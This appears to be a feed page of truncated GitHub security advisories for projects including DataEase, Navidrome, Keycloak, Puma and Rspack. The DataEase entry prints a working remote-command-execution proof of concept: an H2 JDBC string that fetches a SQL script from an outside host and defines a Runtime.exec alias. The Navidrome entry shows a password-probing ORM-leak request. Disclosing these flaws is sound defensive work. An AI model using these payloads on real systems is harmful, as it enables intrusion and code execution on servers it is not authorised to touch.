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GHSA-h7mj-m72h-qm8w: DataEase's H2 datasource has a remote command execution risk

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CA...

ghsa
#sql#vulnerability#ubuntu#js#git#java#docker
GHSA-6f62-3596-g6w7: HTTP Request Smuggling in ruby webrick

An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production."

GHSA-rxq8-q85f-m866: Prevent XSS from Confidant API call

### Impact _What kind of vulnerability is it? Who is impacted?_ Potential XSS from API calls below: GET <app>/v1/credentials GET <app>/v1/credentials/<id> GET <app>/v1/archive/credentials/<id> GET <app>/v1/archive/credentials POST <app>/v1/credentials PUT <app>/v1/credentials/<id> PUT <app>/v1/credentials/<id>/<to_revision> GET <app>/v1/services GET <app>/v1/services/<id> GET <app>/v1/archive/services/<id> GET <app>/v1/archive/services PUT <app>/v1/services/<id> PUT <app>/v1/services/<id>/<to_revision> Stored XSS that can only be used as a stored HTML injection. The attacker needs to be authenticated and have privileges to create new credentials, but could use this to show information and run scripts to other users into the same Confidant instance. ### Patches _Has the problem been patched? What versions should users upgrade to?_ yes, version 6.6.2 ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ NO ### References _Are there any l...

GHSA-58vj-cv5w-v4v6: Navidrome has Multiple SQL Injections and ORM Leak

# Security Advisory: Multiple Vulnerabilities in Navidrome ## Summary Navidrome automatically adds parameters in the URL to SQL queries. This can be exploited to access information by adding parameters like `password=...` in the URL (ORM Leak). Furthermore, the names of the parameters are not properly escaped, leading to SQL Injections. Finally, the username is used in a `LIKE` statement, allowing people to log in with `%` instead of their username. ## Details ### ORM Leak When adding parameters to the URL, they are automatically included in an SQL `LIKE` statement (depending on the parameter's name). This allows attackers to potentially retrieve arbitrary information. For example, attackers can use the following request to test whether some encrypted passwords start with `AAA`: ``` GET /api/user?_end=36&_order=DESC&password=AAA% ``` This results in an SQL query like `password LIKE 'AAA%'`, allowing attackers to slowly brute-force passwords. (Also, any reason for using encryp...

GHSA-73rg-f94j-xvhx: Plate allows arbitrary DOM attributes in element.attributes and leaf.attributes

### Impact One longstanding feature of Plate is the ability to add custom DOM attributes to any element or leaf using the `attributes` property. These attributes are passed to the node component using the `nodeProps` prop. Note: The `attributes` prop that is typically rendered alongside `nodeProps` is unrelated. ```ts [{ type: 'p', attributes: { 'data-my-attribute': 'This will be rendered on the paragraph element' }, children: [{ bold: true, attributes: { 'data-my-attribute': 'This will be rendered on the bold leaf element' }, text: 'Bold text', }], }] ``` ```tsx const ParagraphElement = ({ attributes, nodeProps, children }) => ( <p {...attributes} {...nodeProps} // Arbitrary DOM attributes are injected here > {children} </p> ); const BoldLeaf = ({ attributes, nodeProps, children }) => ( <strong {...attributes} {...nodeProps} // Arbitrary DOM attributes are injected here > {children} </strong> ); ``` It has come to our attent...

GHSA-9hf4-67fc-4vf4: Puma's header normalization allows for client to clobber proxy set headers

### Impact Clients could clobber values set by intermediate proxies (such as X-Forwarded-For) by providing a underscore version of the same header (X-Forwarded_For). Any users trusting headers set by their proxy may be affected. Attackers may be able to downgrade connections to HTTP (non-SSL) or redirect responses, which could cause confidentiality leaks if combined with a separate MITM attack. ### Patches v6.4.3/v5.6.9 now discards any headers using underscores if the non-underscore version also exists. Effectively, allowing the proxy defined headers to always win. ### Workarounds Nginx has a [underscores_in_headers](https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers) configuration variable to discard these headers at the proxy level. Any users that are implicitly trusting the proxy defined headers for security or availability should immediately cease doing so until upgraded to the fixed versions.

GHSA-w69q-w4h4-2fx8: Reverb use after free vulnerability

There exists a use after free vulnerability in Reverb. Reverb supports the VARIANT datatype, which is supposed to represent an arbitrary object in C++. When a tensor proto of type VARIANT is unpacked, memory is first allocated to store the entire tensor, and a ctor is called on each instance. Afterwards, Reverb copies the content in tensor_content to the previously mentioned pre-allocated memory, which results in the bytes in tensor_content overwriting the vtable pointers of all the objects which were previously allocated. Reverb exposes 2 relevant gRPC endpoints: InsertStream and SampleStream. The attacker can insert this stream into the server’s database, then when the client next calls SampleStream they will unpack the tensor into RAM, and when any method on that object is called (including its destructor) the attacker gains control of the Program Counter. We recommend upgrading past git commit  https://github.com/google-deepmind/reverb/commit/6a0dcf4c9e842b7f999912f792aaa6f6bd261a2...

GHSA-4xx7-2cx3-x473: Keycloak SAML signature validation flaw

A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.

GHSA-vvf8-2h68-9475: Keycloak Open Redirect vulnerability

A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.

GHSA-84jw-g43v-8gjm: DOM Clobbering Gadget found in Rspack's AutoPublicPathRuntimeModule that leads to XSS

Hi, Rspack|Webpack developer team! ## Summary We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code. ## Details ### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in t...